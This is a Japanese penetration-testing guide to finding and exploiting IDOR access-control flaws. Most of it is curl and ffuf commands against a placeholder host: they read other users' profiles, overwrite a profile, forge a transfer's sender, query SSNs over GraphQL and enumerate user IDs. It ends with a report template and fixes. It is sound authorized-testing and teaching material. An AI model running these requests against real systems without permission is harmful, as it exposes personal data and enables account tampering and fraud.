exploiting-idor-vulnerabilities

IDOR 脆弱性の悪用

使用する場面

• リソースのエンドポイントに対するアクセス制御をテストする、許可を得たペネトレーションテスト中
• API や Web ページが URL またはリクエストボディで予測可能な識別子（数値 ID、UUID、スラッグ）を使用している場合
• すべての CRUD 操作でオブジェクトレベルの認可が適用されていることを検証する場合
• ユーザーが自身のデータにのみアクセスできるべきマルチテナントアプリケーションをテストする場合
• アクセス制御の不備を対象としたバグバウンティプログラム中

前提条件

• 許可：対象アプリケーションのペネトレーションテストに関する書面での合意
• Burp Suite Professional：BApp Store から Authorize 拡張機能をインストール済みであること
• 2 つのテストアカウント：異なる権限レベルを持つ、少なくとも 2 つの個別ユーザーアカウント
• Burp Authorize Extension：セッションをまたいだ IDOR テストを自動化するため
• curl/httpie：リクエストを手動で作成するため
• ブラウザー：Burp Suite 経由でプロキシするよう設定済みであること

ワークフロー

ステップ 1：アプリケーション内のすべてのオブジェクト参照をマッピングする

アプリケーション全体で、ID によってオブジェクトを参照するすべてのエンドポイントを特定します。

# Browse the application through Burp proxy with User A
# Review Burp Target > Site Map for endpoints with object references

# Common IDOR-prone endpoints to look for:
# GET /api/users/{id}
# GET /api/orders/{id}
# GET /api/invoices/{id}/download
# PUT /api/users/{id}/profile
# DELETE /api/posts/{id}
# GET /api/documents/{id}
# GET /api/messages/{conversation_id}

# Extract all endpoints with IDs from Burp proxy history
# Burp > Proxy > HTTP History > Filter by target domain
# Look for patterns: /resource/123, ?id=123, {"user_id": 123}

# Check different ID formats:
# Numeric sequential: /users/101, /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Base64 encoded: /users/MTAx (decodes to "101")
# Hashed: /users/5d41402abc4b2a76b9719d911017c592
# Slug: /users/john-doe

ステップ 2：自動テスト用に Burp Authorize Extension を設定する

別のユーザーのセッションでリクエストを自動的に再実行するよう、Authorize 拡張機能を設定します。

# Install Authorize from BApp Store:
# Burp > Extender > BApp Store > Search "Authorize" > Install

# Configuration:
# 1. Log in as User B (victim) in a separate browser/incognito
# 2. Copy User B's session cookie/authorization header
# 3. In Authorize tab > Configuration:
#    - Add User B's cookies in "Replace cookies" section
#    - Or add User B's Authorization header in "Replace headers"

# Example header replacement:
# Original (User A): Authorization: Bearer <token_A>
# Replace with (User B): Authorization: Bearer <token_B>

# 4. Enable "Intercept requests from Repeater"
# 5. Enable "Intercept requests from Proxy"

# Authorize will show:
# - Green: Properly restricted (different response for different user)
# - Red: Potentially vulnerable (same response regardless of user)
# - Orange: Uncertain (needs manual verification)

ステップ 3：水平 IDOR をテストする（同じ権限レベル）

同じ権限レベルにある別のユーザーのリソースへのアクセスを試みます。

# Authenticate as User A (ID: 101)
TOKEN_A="Bearer eyJ..."

# Get User A's own resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/101/profile" | jq .

# Attempt to access User B's resources (ID: 102) with User A's token
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/profile" | jq .

# Compare responses - if both return 200 with data, IDOR is confirmed

# Test across different resource types
for resource in profile orders invoices messages documents; do
  echo "--- Testing $resource ---"
  # User A's resource
  curl -s -o /dev/null -w "Own: %{http_code} " \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/101/$resource"
  # User B's resource
  curl -s -o /dev/null -w "Other: %{http_code}\n" \
    -H "Authorization: $TOKEN_A" \
    "https://target.example.com/api/v1/users/102/$resource"
done

# Test with POST/PUT/DELETE for write-based IDOR
curl -s -X PUT -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"Hacked"}' \
  "https://target.example.com/api/v1/users/102/profile"

ステップ 4：垂直 IDOR をテストする（権限レベルをまたぐ）

一般ユーザーのトークンで、管理者向けまたは上位権限のリソースへのアクセスを試みます。

# As regular user, try accessing admin user profiles
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/1/profile" | jq .

# Try accessing admin-specific resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/admin/reports/1" | jq .

# Test accessing resources across organizational boundaries
# User in Org A trying to access Org B's resources
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/organizations/2/settings" | jq .

# Test file download IDOR
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/invoices/999/download" -o test.pdf
file test.pdf

ステップ 5：目立たない場所にある IDOR をテストする

リクエストボディ、ヘッダー、間接参照に IDOR がないか調べます。

# IDOR in request body parameters
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"sender_id": 101, "recipient_id": 102, "amount": 1}' \
  "https://target.example.com/api/v1/transfers"

# Change sender_id to another user
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"sender_id": 102, "recipient_id": 101, "amount": 1000}' \
  "https://target.example.com/api/v1/transfers"

# IDOR in file references
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/files?path=/users/102/documents/secret.pdf"

# IDOR in GraphQL
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: 102) { email phone ssn } }"}' \
  "https://target.example.com/graphql"

# IDOR via parameter pollution
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/101/profile?user_id=102"

# IDOR in bulk operations
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"ids": [101, 102, 103, 104, 105]}' \
  "https://target.example.com/api/v1/users/bulk"

ステップ 6：列挙して影響を評価する

IDOR によるデータ漏えいの全容を特定します。

# Enumerate valid object IDs
ffuf -u "https://target.example.com/api/v1/users/FUZZ/profile" \
  -w <(seq 1 500) \
  -H "Authorization: $TOKEN_A" \
  -mc 200 -t 10 -rate 20 \
  -o valid-users.json -of json

# Count total accessible records
jq '.results | length' valid-users.json

# Check what sensitive data is exposed per record
curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/profile" | \
  jq 'keys'
# Look for: email, phone, address, ssn, payment_info, password_hash

# Test IDOR on state-changing operations
# Can User A delete User B's resources?
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/v1/users/102/posts/1" \
  -w "%{http_code}"
# WARNING: Only test DELETE on known test data, never on real user data

主な概念

概念	説明
水平 IDOR	同じ権限レベルにある別のユーザーのリソースへのアクセス
垂直 IDOR	現在のユーザーより高い権限を必要とするリソースへのアクセス
直接オブジェクト参照	API パラメーターでデータベースキー、ファイルパス、識別子を直接使用すること
間接オブジェクト参照	マッピングされた参照（例：インデックス）を使用し、サーバーが実際のオブジェクトに解決すること
オブジェクトレベルの認可	リクエストしたユーザーが特定のオブジェクトへのアクセスを許可されているかを確認するサーバー側のチェック
予測可能な ID	有効なオブジェクトを簡単に列挙できる、連番の数値識別子
UUID のランダム性	UUIDv4 を使用すると列挙は難しくなりますが、認可チェックの代わりにはなりません

ツールとシステム

ツール	用途
Burp Suite Professional	ID 列挙用の Intruder と手動テスト用の Repeater を備えた HTTP プロキシ
Authorize（Burp 拡張機能）	異なるユーザーセッションでリクエストを再実行することによる IDOR テストの自動化
AutoRepeater（Burp 拡張機能）	認可ヘッダーを変更してリクエストを自動的に再実行
Postman	ユーザーコンテキストを切り替える環境変数を使用した API テスト
ffuf	オブジェクト ID パラメーターの高速ファジング
OWASP ZAP	アクセス制御テスト用プラグインを備えた無料のプロキシ代替ツール

よくあるシナリオ

シナリオ 1：請求書ダウンロードの IDOR

/invoices/{id}/download エンドポイントは PDF の請求書を生成します。請求書 ID を増やすことで、認証済みユーザーは誰でも他の顧客の請求書をダウンロードでき、請求先住所や支払い情報が漏えいします。

シナリオ 2：ユーザープロフィールデータの漏えい

/api/users/{id} エンドポイントは、メールアドレス、電話番号、住所を含むユーザープロフィール全体を返します。API はリクエストに有効なトークンがあるかだけを確認し、トークンの所有者と要求されたユーザー ID が一致するかは検証しません。

シナリオ 3：パス操作によるファイルアクセス

ドキュメント管理システムは、ファイルを /files/{user_id}/{filename} に保存しています。user_id のパスセグメントを変更すると、ユーザーは他のユーザーがアップロードした非公開ドキュメントにアクセスできます。

シナリオ 4：メッセージスレッドの乗っ取り

/api/conversations/{id}/messages にあるメッセージングエンドポイントでは、会話 ID を変更することで、認証済みの任意のユーザーがあらゆる会話のメッセージを読めてしまいます。

出力形式

## IDOR Vulnerability Finding

**Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR)
**Severity**: High (CVSS 7.5)
**Location**: GET /api/v1/users/{id}/profile
**OWASP Category**: A01:2021 - Broken Access Control

### Reproduction Steps
1. Authenticate as User A (ID: 101) and obtain JWT token
2. Send GET /api/v1/users/101/profile with User A's token (returns own profile)
3. Change the ID to 102: GET /api/v1/users/102/profile with User A's token
4. Observe that User B's full profile is returned including PII

### Affected Endpoints
| Endpoint | Method | Impact |
|----------|--------|--------|
| /api/v1/users/{id}/profile | GET | Read PII of any user |
| /api/v1/users/{id}/orders | GET | Read order history of any user |
| /api/v1/users/{id}/profile | PUT | Modify profile of any user |
| /api/v1/invoices/{id}/download | GET | Download any user's invoices |

### Impact
- 15,000+ user profiles accessible (enumerated IDs 1-15247)
- Exposed fields: name, email, phone, address, date_of_birth
- Write IDOR allows profile modification of other users
- Violates GDPR data access controls

### Recommendation
1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object
2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure
3. Log and alert on sequential ID enumeration patterns
4. Implement rate limiting on resource endpoints